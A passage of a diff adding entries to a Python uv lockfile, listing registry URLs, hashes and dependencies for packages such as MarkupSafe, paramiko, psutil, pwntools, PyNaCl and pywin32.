+sdist = { url = "https://files.pythonhosted.org/packages/b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0", size = 20537, upload-time = "2024-10-18T15:21:54.129Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/22/09/d1f21434c97fc42f09d290cbb6350d44eb12f09cc62c9476effdb33a18aa/MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf", size = 14274, upload-time = "2024-10-18T15:21:13.777Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/b0/18f76bba336fa5aecf79d45dcd6c806c280ec44538b3c13671d49099fdd0/MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225", size = 12348, upload-time = "2024-10-18T15:21:14.822Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/25/dd5c0f6ac1311e9b40f4af06c78efde0f3b5cbf02502f8ef9501294c425b/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028", size = 24149, upload-time = "2024-10-18T15:21:15.642Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/f0/89e7aadfb3749d0f52234a0c8c7867877876e0a20b60e2188e9850794c17/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8", size = 23118, upload-time = "2024-10-18T15:21:17.133Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/da/f2eeb64c723f5e3777bc081da884b414671982008c47dcc1873d81f625b6/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c", size = 22993, upload-time = "2024-10-18T15:21:18.064Z" },
+ { url = "https://files.pythonhosted.org/packages/da/0e/1f32af846df486dce7c227fe0f2398dc7e2e51d4a370508281f3c1c5cddc/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557", size = 24178, upload-time = "2024-10-18T15:21:18.859Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/f6/bb3ca0532de8086cbff5f06d137064c8410d10779c4c127e0e47d17c0b71/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22", size = 23319, upload-time = "2024-10-18T15:21:19.671Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/82/8be4c96ffee03c5b4a034e60a31294daf481e12c7c43ab8e34a1453ee48b/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48", size = 23352, upload-time = "2024-10-18T15:21:20.971Z" },
+ { url = "https://files.pythonhosted.org/packages/51/ae/97827349d3fcffee7e184bdf7f41cd6b88d9919c80f0263ba7acd1bbcb18/MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30", size = 15097, upload-time = "2024-10-18T15:21:22.646Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/80/a61f99dc3a936413c3ee4e1eecac96c0da5ed07ad56fd975f1a9da5bc630/MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87", size = 15601, upload-time = "2024-10-18T15:21:23.499Z" },
+ { url = "https://files.pythonhosted.org/packages/83/0e/67eb10a7ecc77a0c2bbe2b0235765b98d164d81600746914bebada795e97/MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd", size = 14274, upload-time = "2024-10-18T15:21:24.577Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/6d/9409f3684d3335375d04e5f05744dfe7e9f120062c9857df4ab490a1031a/MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430", size = 12352, upload-time = "2024-10-18T15:21:25.382Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/f5/6eadfcd3885ea85fe2a7c128315cc1bb7241e1987443d78c8fe712d03091/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094", size = 24122, upload-time = "2024-10-18T15:21:26.199Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/91/96cf928db8236f1bfab6ce15ad070dfdd02ed88261c2afafd4b43575e9e9/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396", size = 23085, upload-time = "2024-10-18T15:21:27.029Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/cf/c9d56af24d56ea04daae7ac0940232d31d5a8354f2b457c6d856b2057d69/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79", size = 22978, upload-time = "2024-10-18T15:21:27.846Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/9f/8619835cd6a711d6272d62abb78c033bda638fdc54c4e7f4272cf1c0962b/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a", size = 24208, upload-time = "2024-10-18T15:21:28.744Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/bf/176950a1792b2cd2102b8ffeb5133e1ed984547b75db47c25a67d3359f77/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca", size = 23357, upload-time = "2024-10-18T15:21:29.545Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/4f/9a02c1d335caabe5c4efb90e1b6e8ee944aa245c1aaaab8e8a618987d816/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c", size = 23344, upload-time = "2024-10-18T15:21:30.366Z" },
+ { url = "https://files.pythonhosted.org/packages/ee/55/c271b57db36f748f0e04a759ace9f8f759ccf22b4960c270c78a394f58be/MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1", size = 15101, upload-time = "2024-10-18T15:21:31.207Z" },
+ { url = "https://files.pythonhosted.org/packages/29/88/07df22d2dd4df40aba9f3e402e6dc1b8ee86297dddbad4872bd5e7b0094f/MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f", size = 15603, upload-time = "2024-10-18T15:21:32.032Z" },
+ { url = "https://files.pythonhosted.org/packages/62/6a/8b89d24db2d32d433dffcd6a8779159da109842434f1dd2f6e71f32f738c/MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c", size = 14510, upload-time = "2024-10-18T15:21:33.625Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/06/a10f955f70a2e5a9bf78d11a161029d278eeacbd35ef806c3fd17b13060d/MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb", size = 12486, upload-time = "2024-10-18T15:21:34.611Z" },
+ { url = "https://files.pythonhosted.org/packages/34/cf/65d4a571869a1a9078198ca28f39fba5fbb910f952f9dbc5220afff9f5e6/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c", size = 25480, upload-time = "2024-10-18T15:21:35.398Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/e3/90e9651924c430b885468b56b3d597cabf6d72be4b24a0acd1fa0e12af67/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d", size = 23914, upload-time = "2024-10-18T15:21:36.231Z" },
+ { url = "https://files.pythonhosted.org/packages/66/8c/6c7cf61f95d63bb866db39085150df1f2a5bd3335298f14a66b48e92659c/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe", size = 23796, upload-time = "2024-10-18T15:21:37.073Z" },
+ { url = "https://files.pythonhosted.org/packages/bb/35/cbe9238ec3f47ac9a7c8b3df7a808e7cb50fe149dc7039f5f454b3fba218/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5", size = 25473, upload-time = "2024-10-18T15:21:37.932Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/32/7621a4382488aa283cc05e8984a9c219abad3bca087be9ec77e89939ded9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a", size = 24114, upload-time = "2024-10-18T15:21:39.799Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/80/0985960e4b89922cb5a0bac0ed39c5b96cbc1a536a99f30e8c220a996ed9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9", size = 24098, upload-time = "2024-10-18T15:21:40.813Z" },
+ { url = "https://files.pythonhosted.org/packages/82/78/fedb03c7d5380df2427038ec8d973587e90561b2d90cd472ce9254cf348b/MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6", size = 15208, upload-time = "2024-10-18T15:21:41.814Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/65/6079a46068dfceaeabb5dcad6d674f5f5c61a6fa5673746f42a9f4c233b3/MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f", size = 15739, upload-time = "2024-10-18T15:21:42.784Z" },
+]
+
+[[package]]
+name = "packaging"
+version = "25.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" },
+]
+
+[[package]]
+name = "paramiko"
+version = "3.5.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "bcrypt" },
+ { name = "cryptography" },
+ { name = "pynacl" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/7d/15/ad6ce226e8138315f2451c2aeea985bf35ee910afb477bae7477dc3a8f3b/paramiko-3.5.1.tar.gz", hash = "sha256:b2c665bc45b2b215bd7d7f039901b14b067da00f3a11e6640995fd58f2664822", size = 1566110, upload-time = "2025-02-04T02:37:59.783Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/15/f8/c7bd0ef12954a81a1d3cea60a13946bd9a49a0036a5927770c461eade7ae/paramiko-3.5.1-py3-none-any.whl", hash = "sha256:43b9a0501fc2b5e70680388d9346cf252cfb7d00b0667c39e80eb43a408b8f61", size = 227298, upload-time = "2025-02-04T02:37:57.672Z" },
+]
+
+[[package]]
+name = "pip"
+version = "25.1.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/59/de/241caa0ca606f2ec5fe0c1f4261b0465df78d786a38da693864a116c37f4/pip-25.1.1.tar.gz", hash = "sha256:3de45d411d308d5054c2168185d8da7f9a2cd753dbac8acbfa88a8909ecd9077", size = 1940155, upload-time = "2025-05-02T15:14:02.057Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/29/a2/d40fb2460e883eca5199c62cfc2463fd261f760556ae6290f88488c362c0/pip-25.1.1-py3-none-any.whl", hash = "sha256:2913a38a2abf4ea6b64ab507bd9e967f3b53dc1ede74b01b0931e1ce548751af", size = 1825227, upload-time = "2025-05-02T15:13:59.102Z" },
+]
+
+[[package]]
+name = "plumbum"
+version = "1.9.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "pywin32", marker = "platform_python_implementation != 'PyPy' and sys_platform == 'win32'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/f0/5d/49ba324ad4ae5b1a4caefafbce7a1648540129344481f2ed4ef6bb68d451/plumbum-1.9.0.tar.gz", hash = "sha256:e640062b72642c3873bd5bdc3effed75ba4d3c70ef6b6a7b907357a84d909219", size = 319083, upload-time = "2024-10-05T05:59:27.059Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/4f/9d/d03542c93bb3d448406731b80f39c3d5601282f778328c22c77d270f4ed4/plumbum-1.9.0-py3-none-any.whl", hash = "sha256:9fd0d3b0e8d86e4b581af36edf3f3bbe9d1ae15b45b8caab28de1bcb27aaa7f5", size = 127970, upload-time = "2024-10-05T05:59:25.102Z" },
+]
+
+[[package]]
+name = "psutil"
+version = "7.0.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/2a/80/336820c1ad9286a4ded7e845b2eccfcb27851ab8ac6abece774a6ff4d3de/psutil-7.0.0.tar.gz", hash = "sha256:7be9c3eba38beccb6495ea33afd982a44074b78f28c434a1f51cc07fd315c456", size = 497003, upload-time = "2025-02-13T21:54:07.946Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ed/e6/2d26234410f8b8abdbf891c9da62bee396583f713fb9f3325a4760875d22/psutil-7.0.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:101d71dc322e3cffd7cea0650b09b3d08b8e7c4109dd6809fe452dfd00e58b25", size = 238051, upload-time = "2025-02-13T21:54:12.36Z" },
+ { url = "https://files.pythonhosted.org/packages/04/8b/30f930733afe425e3cbfc0e1468a30a18942350c1a8816acfade80c005c4/psutil-7.0.0-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:39db632f6bb862eeccf56660871433e111b6ea58f2caea825571951d4b6aa3da", size = 239535, upload-time = "2025-02-13T21:54:16.07Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/ed/d362e84620dd22876b55389248e522338ed1bf134a5edd3b8231d7207f6d/psutil-7.0.0-cp36-abi3-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1fcee592b4c6f146991ca55919ea3d1f8926497a713ed7faaf8225e174581e91", size = 275004, upload-time = "2025-02-13T21:54:18.662Z" },
+ { url = "https://files.pythonhosted.org/packages/bf/b9/b0eb3f3cbcb734d930fdf839431606844a825b23eaf9a6ab371edac8162c/psutil-7.0.0-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b1388a4f6875d7e2aff5c4ca1cc16c545ed41dd8bb596cefea80111db353a34", size = 277986, upload-time = "2025-02-13T21:54:21.811Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/a2/709e0fe2f093556c17fbafda93ac032257242cabcc7ff3369e2cb76a97aa/psutil-7.0.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5f098451abc2828f7dc6b58d44b532b22f2088f4999a937557b603ce72b1993", size = 279544, upload-time = "2025-02-13T21:54:24.68Z" },
+ { url = "https://files.pythonhosted.org/packages/50/e6/eecf58810b9d12e6427369784efe814a1eec0f492084ce8eb8f4d89d6d61/psutil-7.0.0-cp37-abi3-win32.whl", hash = "sha256:ba3fcef7523064a6c9da440fc4d6bd07da93ac726b5733c29027d7dc95b39d99", size = 241053, upload-time = "2025-02-13T21:54:34.31Z" },
+ { url = "https://files.pythonhosted.org/packages/50/1b/6921afe68c74868b4c9fa424dad3be35b095e16687989ebbb50ce4fceb7c/psutil-7.0.0-cp37-abi3-win_amd64.whl", hash = "sha256:4cf3d4eb1aa9b348dec30105c55cd9b7d4629285735a102beb4441e38db90553", size = 244885, upload-time = "2025-02-13T21:54:37.486Z" },
+]
+
+[[package]]
+name = "pwntools"
+version = "4.14.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "capstone" },
+ { name = "colored-traceback" },
+ { name = "intervaltree" },
+ { name = "mako" },
+ { name = "packaging" },
+ { name = "paramiko" },
+ { name = "pip" },
+ { name = "psutil" },
+ { name = "pyelftools" },
+ { name = "pygments" },
+ { name = "pyserial" },
+ { name = "pysocks" },
+ { name = "python-dateutil" },
+ { name = "requests" },
+ { name = "ropgadget" },
+ { name = "rpyc" },
+ { name = "six" },
+ { name = "sortedcontainers" },
+ { name = "unicorn" },
+ { name = "unix-ar" },
+ { name = "zstandard" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/21/94/1f39d5a770226b9d240c9900c5c912788fb31f8f189aacd81153c0d59f67/pwntools-4.14.1.tar.gz", hash = "sha256:60f04976d1722120d18b9d50553408a024664b5cf888f36f258afca4bf035cac", size = 5612163, upload-time = "2025-03-24T12:29:30.007Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/58/64/882ce3c4bffdc8ee1b52bca10a878685ed67355af4f3eba33c7f4c8b195d/pwntools-4.14.1-py2.py3-none-any.whl", hash = "sha256:d8b8587f5ca9a6149d234f900de1832e9db7a2291c32dfbdaa0de3dac224a324", size = 12858620, upload-time = "2025-03-24T12:29:26.347Z" },
+]
+
+[[package]]
+name = "pycparser"
+version = "2.22"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1d/b2/31537cf4b1ca988837256c910a668b553fceb8f069bedc4b1c826024b52c/pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6", size = 172736, upload-time = "2024-03-30T13:22:22.564Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/13/a3/a812df4e2dd5696d1f351d58b8fe16a405b234ad2886a0dab9183fb78109/pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc", size = 117552, upload-time = "2024-03-30T13:22:20.476Z" },
+]
+
+[[package]]
+name = "pyelftools"
+version = "0.32"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/b9/ab/33968940b2deb3d92f5b146bc6d4009a5f95d1d06c148ea2f9ee965071af/pyelftools-0.32.tar.gz", hash = "sha256:6de90ee7b8263e740c8715a925382d4099b354f29ac48ea40d840cf7aa14ace5", size = 15047199, upload-time = "2025-02-19T14:20:05.549Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/af/43/700932c4f0638c3421177144a2e86448c0d75dbaee2c7936bda3f9fd0878/pyelftools-0.32-py3-none-any.whl", hash = "sha256:013df952a006db5e138b1edf6d8a68ecc50630adbd0d83a2d41e7f846163d738", size = 188525, upload-time = "2025-02-19T14:19:59.919Z" },
+]
+
+[[package]]
+name = "pygments"
+version = "2.19.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/b0/77/a5b8c569bf593b0140bde72ea885a803b82086995367bf2037de0159d924/pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887", size = 4968631, upload-time = "2025-06-21T13:39:12.283Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/c7/21/705964c7812476f378728bdf590ca4b771ec72385c533964653c68e86bdc/pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b", size = 1225217, upload-time = "2025-06-21T13:39:07.939Z" },
+]
+
+[[package]]
+name = "pynacl"
+version = "1.5.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cffi" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/a7/22/27582568be639dfe22ddb3902225f91f2f17ceff88ce80e4db396c8986da/PyNaCl-1.5.0.tar.gz", hash = "sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba", size = 3392854, upload-time = "2022-01-07T22:05:41.134Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ce/75/0b8ede18506041c0bf23ac4d8e2971b4161cd6ce630b177d0a08eb0d8857/PyNaCl-1.5.0-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1", size = 349920, upload-time = "2022-01-07T22:05:49.156Z" },
+ { url = "https://files.pythonhosted.org/packages/59/bb/fddf10acd09637327a97ef89d2a9d621328850a72f1fdc8c08bdf72e385f/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92", size = 601722, upload-time = "2022-01-07T22:05:50.989Z" },
+ { url = "https://files.pythonhosted.org/packages/5d/70/87a065c37cca41a75f2ce113a5a2c2aa7533be648b184ade58971b5f7ccc/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394", size = 680087, upload-time = "2022-01-07T22:05:52.539Z" },
+ { url = "https://files.pythonhosted.org/packages/ee/87/f1bb6a595f14a327e8285b9eb54d41fef76c585a0edef0a45f6fc95de125/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d", size = 856678, upload-time = "2022-01-07T22:05:54.251Z" },
+ { url = "https://files.pythonhosted.org/packages/66/28/ca86676b69bf9f90e710571b67450508484388bfce09acf8a46f0b8c785f/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858", size = 1133660, upload-time = "2022-01-07T22:05:56.056Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/85/c262db650e86812585e2bc59e497a8f59948a005325a11bbbc9ecd3fe26b/PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b", size = 663824, upload-time = "2022-01-07T22:05:57.434Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/1a/cc308a884bd299b651f1633acb978e8596c71c33ca85e9dc9fa33a5399b9/PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff", size = 1117912, upload-time = "2022-01-07T22:05:58.665Z" },
+ { url = "https://files.pythonhosted.org/packages/25/2d/b7df6ddb0c2a33afdb358f8af6ea3b8c4d1196ca45497dd37a56f0c122be/PyNaCl-1.5.0-cp36-abi3-win32.whl", hash = "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543", size = 204624, upload-time = "2022-01-07T22:06:00.085Z" },
+ { url = "https://files.pythonhosted.org/packages/5e/22/d3db169895faaf3e2eda892f005f433a62db2decbcfbc2f61e6517adfa87/PyNaCl-1.5.0-cp36-abi3-win_amd64.whl", hash = "sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93", size = 212141, upload-time = "2022-01-07T22:06:01.861Z" },
+]
+
+[[package]]
+name = "pyserial"
+version = "3.5"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1e/7d/ae3f0a63f41e4d2f6cb66a5b57197850f919f59e558159a4dd3a818f5082/pyserial-3.5.tar.gz", hash = "sha256:3c77e014170dfffbd816e6ffc205e9842efb10be9f58ec16d3e8675b4925cddb", size = 159125, upload-time = "2020-11-23T03:59:15.045Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/07/bc/587a445451b253b285629263eb51c2d8e9bcea4fc97826266d186f96f558/pyserial-3.5-py2.py3-none-any.whl", hash = "sha256:c4451db6ba391ca6ca299fb3ec7bae67a5c55dde170964c7a14ceefec02f2cf0", size = 90585, upload-time = "2020-11-23T03:59:13.41Z" },
+]
+
+[[package]]
+name = "pysocks"
+version = "1.7.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/bd/11/293dd436aea955d45fc4e8a35b6ae7270f5b8e00b53cf6c024c83b657a11/PySocks-1.7.1.tar.gz", hash = "sha256:3f8804571ebe159c380ac6de37643bb4685970655d3bba243530d6558b799aa0", size = 284429, upload-time = "2019-09-20T02:07:35.714Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/8d/59/b4572118e098ac8e46e399a1dd0f2d85403ce8bbaad9ec79373ed6badaf9/PySocks-1.7.1-py3-none-any.whl", hash = "sha256:2725bd0a9925919b9b51739eea5f9e2bae91e83288108a9ad338b2e3a4435ee5", size = 16725, upload-time = "2019-09-20T02:06:22.938Z" },
+]
+
+[[package]]
+name = "python-dateutil"
+version = "2.9.0.post0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "six" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" },
+]
+
+[[package]]
+name = "pywin32"
+version = "310"
+source = { registry = "https://pypi.org/simple" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/6b/ec/4fdbe47932f671d6e348474ea35ed94227fb5df56a7c30cbbb42cd396ed0/pywin32-310-cp312-cp312-win32.whl", hash = "sha256:8a75a5cc3893e83a108c05d82198880704c44bbaee4d06e442e471d3c9ea4f3d", size = 8796239, upload-time = "2025-03-17T00:55:58.807Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/e5/b0627f8bb84e06991bea89ad8153a9e50ace40b2e1195d68e9dff6b03d0f/pywin32-310-cp312-cp312-win_amd64.whl", hash = "sha256:bf5c397c9a9a19a6f62f3fb821fbf36cac08f03770056711f765ec1503972060", size = 9503839, upload-time = "2025-03-17T00:56:00.8Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/32/9ccf53748df72301a89713936645a664ec001abd35ecc8578beda593d37d/pywin32-310-cp312-cp312-win_arm64.whl", hash = "sha256:2349cc906eae872d0663d4d6290d13b90621eaf78964bb1578632ff20e152966", size = 8459470, upload-time = "2025-03-17T00:56:02.601Z" },
